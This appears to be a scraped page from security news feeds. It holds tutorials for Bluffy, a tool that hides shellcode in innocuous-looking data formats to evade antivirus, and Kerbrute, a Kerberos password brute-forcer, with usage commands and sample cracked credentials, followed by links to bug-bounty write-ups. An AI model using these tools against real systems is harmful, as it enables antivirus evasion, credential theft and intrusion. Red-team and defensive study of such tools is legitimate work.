Kali Linux Tutorials
Bluffy : Convert Shellcode Into Different Formats

Bluffy is a utility which was used in experiments to bypass Anti-Virus products (statically) by formatting shellcode into realistic looking data formats.

Proof-of-concept tools, such as 0xBoku’s Ninja_UUID_Runner and ChoiSG’s UuidShellcodeExec, inspired the initial concept for Bluffy.

So far, we implemented:

1. UUID
2. CLSID
3. SVG
4. CSS
5. CSV

Help

$ python3 bluffy.py -h
⣇⣿⠘⣿⣿⣿⡿⡿⣟⣟⢟⢟⢝⠵⡝⣿⡿⢂⣼⣿⣷⣌⠩⡫⡻⣝⠹⢿⣿⣷
⡆⣿⣆⠱⣝⡵⣝⢅⠙⣿⢕⢕⢕⢕⢝⣥⢒⠅⣿⣿⣿⡿⣳⣌⠪⡪⣡⢑⢝⣇
⡆⣿⣿⣦⠹⣳⣳⣕⢅⠈⢗⢕⢕⢕⢕⢕⢈⢆⠟⠋⠉⠁⠉⠉⠁⠈⠼⢐⢕⢽
⡗⢰⣶⣶⣦⣝⢝⢕⢕⠅⡆⢕⢕⢕⢕⢕⣴⠏⣠⡶⠛⡉⡉⡛⢶⣦⡀⠐⣕⢕
⡝⡄⢻⢟⣿⣿⣷⣕⣕⣅⣿⣔⣕⣵⣵⣿⣿⢠⣿⢠⣮⡈⣌⠨⠅⠹⣷⡀⢱⢕
⡝⡵⠟⠈⢀⣀⣀⡀⠉⢿⣿⣿⣿⣿⣿⣿⣿⣼⣿⢈⡋⠴⢿⡟⣡⡇⣿⡇⡀⢕
⡝⠁⣠⣾⠟⡉⡉⡉⠻⣦⣻⣿⣿⣿⣿⣿⣿⣿⣿⣧⠸⣿⣦⣥⣿⡇⡿⣰⢗⢄
⠁⢰⣿⡏⣴⣌⠈⣌⠡⠈⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣬⣉⣉⣁⣄⢖⢕⢕⢕
⡀⢻⣿⡇⢙⠁⠴⢿⡟⣡⡆⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣵⣵⣿
⡻⣄⣻⣿⣌⠘⢿⣷⣥⣿⠇⣿⣿⣿⣿⣿⣿⠛⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣷⢄⠻⣿⣟⠿⠦⠍⠉⣡⣾⣿⣿⣿⣿⣿⣿⢸⣿⣦⠙⣿⣿⣿⣿⣿⣿⣿⣿⠟
⡕⡑⣑⣈⣻⢗⢟⢞⢝⣻⣿⣿⣿⣿⣿⣿⣿⠸⣿⠿⠃⣿⣿⣿⣿⣿⣿⡿⠁⣠
⡝⡵⡈⢟⢕⢕⢕⢕⣵⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣿⣿⣿⣿⣿⠿⠋⣀⣈⠙
⡝⡵⡕⡀⠑⠳⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⢉⡠⡲⡫⡪⡪⡣
Convert shellcode into https://s.w.org/images/core/emoji/13.1.0/72x72/2728.png different https://s.w.org/images/core/emoji/13.1.0/72x72/2728.png formats!
Written by:
~ Mez0
~ Michael Ranaldo
usage: Bluffy [-h] -b -o -m
optional arguments:
-h, –help show this help message and exit
-b , –bin Specify bin file to load
-m , –mask Specify the mask for the shellcode
-x , –xor XOR the payload
-p , –preview Preview the created format
-pp, –payload_preview Preview the payload prior to C formatting
–list List all the available masks

Written by:

* Michael Ranaldo
* Mez0

Requirements And Installation

The following items must be installed prior to using Bluff:

python3.9 or greater

sudo apt install python3.9

rich

sudo pip3 install rich

pcre2.8

Depending on whether its going to be ran on Kali, Ubuntu 18, 19, 20, and so on, the process of getting and building with pcre2.8may be different.

For us on Ubuntu, it was developed on

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 21.04
Release: 21.04
Codename: hirsute

In order to link libpcre2-8.a, the .afile had to be included within:

/usr/lib/gcc/x86_64-w64-mingw32/10-win32

As for obtaining the header and lib files, MSYS2 was used. But if you’re smarter than us, then just do it from source for Mingw64: https://pcre.org/.

The simplest way to thus acquire and install is to run the following commands (after double checking your architecture etc.):

sudo apt install mingw-64
sudo wget https://packages.msys2.org/package/mingw-w64-x86_64-pcre2?repo=mingw64 -P /usr/lib/gcc/x86_64-w64-mingw32/10-win32

Using Bluffy

To build a payload, get your binary file. For this example, we used calc.bin, which just loads calc.exe as a proof of concept. As Bluffy only seeks to evade static analysis using steganography, by hiding the binary within an otherwise innocuous file, you will need to do further research to ensure that your payload also evades dynamic detection.

Run bluffy, choosing a mask of your choice and providing your .bin file:

python ./bluffy.py -b calc.bin -m css -x

Check your payload, then build it. To build your payload, copy the .h file bluffy creates, rename it css.c, run make to build it to an executable, then test using the included examples directory:

mv css.h examples/css/css.h
cd examples/css
make

This will use the included “main.c” to build an Windows executable. Test this to confirm. If you have also used calc.bin, you should be greeted by a new Calc window opening. If so, congratulations!
Download

Kali Linux Tutorials
Kerbrute : An Script To Perform Kerberos Bruteforcing By Using Impacket

Kerbrute is a script to perform kerberos bruteforcing by using the Impacket library.

When is executed, as input it receives a user or list of users and a password or list of password. Then is performs a brute-force attack to enumerate:

* Valid username/passwords pairs
* Valid usernames
* Usernames without pre-authentication required

As a result, the script generates a list of valid credentials discovered, and the TGT’s generated due those valid credentials.

Installation

From pypi:

pip3 install kerbrute

From repo:

git clone https://github.com/TarlogicSecurity/kerbrute
cd kerbrute
pip install -r requirements.txt

Use

Help without arguments:

root@kali:~# kerbrute
Impacket v0.9.18 – Copyright 2018 SecureAuth Corporation
usage: kerbrute.py [-h] [-debug] (-user USER | -users USERS)
[-password PASSWORD | -passwords PASSWORDS] -domain DOMAIN
[-dc-ip ] [-threads THREADS]
[-outputfile OUTPUTFILE] [-no-save-ticket]
optional arguments:
-h, –help show this help message and exit
-debug Turn DEBUG output ON
-user USER User to perform bruteforcing
-users USERS File with user per line
-password PASSWORD Password to perform bruteforcing
-passwords PASSWORDS File with password per line
-domain DOMAIN Domain to perform bruteforcing
-dc-ip IP Address of the domain controller
-threads THREADS Number of threads to perform bruteforcing. Default = 1
-outputfile OUTPUTFILE
File to save discovered user:password
-no-save-ticket Do not save retrieved TGTs with correct credentials
Examples:
./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.com

Example of execution:

root@kali:~# kerbrute -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
Impacket v0.9.18 – Copyright 2018 SecureAuth Corporation
[] Stupendous => triceratops:Sh4rpH0rns [] Saved TGT in triceratops.ccache
[] Valid user => velociraptor [NOT PREAUTH] [] Valid user => trex
[*] Saved discovered passwords in jurassic_passwords.txt
Download

hacking: security in practice
OffensiveNotion: Notion (yes, the notetaking app) as a C2.

https://external-preview.redd.it/0YahZV8lYY-ZbHCLr4cINtp1WnlXk4tdYWDC-7j2eWE.jpg?width=640&crop=smart&auto=webp&s=3e316a1887d2203bb5fec294847f6b85737e8a9e submitted by /u/DrinkMoreCodeMore
[link] [comments]

hacking: security in practice
Looking for some web advice

Hi!

I'm looking for a little advice regarding a site I'm trying to develop, I need to find a creative workaround for something regarding HTTP requests, iframes, and captcha.

Would love to sit and brainstorm on discord, hmu if it sounds fun :)

submitted by /u/GarlicBreadIsNice
[link] [comments]

Story about more than 3.5 million PII leakage in Yahoo!!!
https://dhakalbibek.medium.com/story-about-more-than-3-5-million-pii-leakage-in-yahoo-78f98bf69b49?source=rss------bug_bounty-5

Hello GUYS,Continue reading on Medium » (https://dhakalbibek.medium.com/story-about-more-than-3-5-million-pii-leakage-in-yahoo-78f98bf69b49?source=rss------bug_bounty-5)

Hacking on Medium
Nuevo error de Linux en el módulo de firewall de Netfilter permite a los atacantes obtener acceso…

https://cdn-images-1.medium.com/max/849/0*ggnAjCvamzrDcZuZ
PUBLICADO EN 14 MARZO, 2022POR EHACKING

Continue reading on Medium »

Hacking on Medium
Cryptocurrency Exchange Hacks: how to secure customers from stealing their funds

https://cdn-images-1.medium.com/max/1200/1*V5IhJl0ogDmF8Rv_WYHQTw.png
With growing popularity and mass adoption of crypto assets, the amount of funds flowing to centralized exchanges have been increasing as…

Continue reading on Medium »

Open Redirect via Sendgrid Email Misconfiguration

Hello developer , bug hunter and cyber security enthusiast. In this opportunity i wanna show you my first Bug Bounty writeup from one of a…Continue reading on System Weakness »
Read more...

The story of 3 bugs that lead to Unauthorized RCE — Pascom Systems

A detailed post on how I chained 3 vulnerabilities (A path traversal, An SSRF in an external piece of software, and a post-authentication…Continue reading on Medium »
Read more...

Solution to my $20 egg hunt (Part 1)

Last week, I posted an article titled “There’s $20 hidden in this post”. Here’s how to solve the first part of it…Continue reading on Medium »
Read more...

How I access other domains in infinityfree.net using Directory Traversal

Hi, it’s me again haha Kurt Russelle Marmol aka xkurtph, Web Developer (noobie) and Security Researcher.Continue reading on Medium »
Read more...

From Recon via Censys and DNSdumpster, to Getting P1 by Login Using Weak Password — “password”

A simple story when Allah allowed me to get P1 by combining several issues, one of which was related to “weak credentials”.Continue reading on InfoSec Write-ups »
Read more...

My Pentest Log -10- (A Little Tip)

Greetings to all from Khrysokeras,Continue reading on Medium »
Read more...

How I Made The BBC Hall Of Fame 3 Times

Happy Monday to anyone reading this write up. Today I am going to describe how I was able to make the BBC Hall Of Fame 3 times. My…Continue reading on Medium »
Read more...

SQL Injection at Spotify
https://eslam3kl.medium.com/sql-injection-at-spotify-d19e0861ddf0?source=rss------bug_bounty-5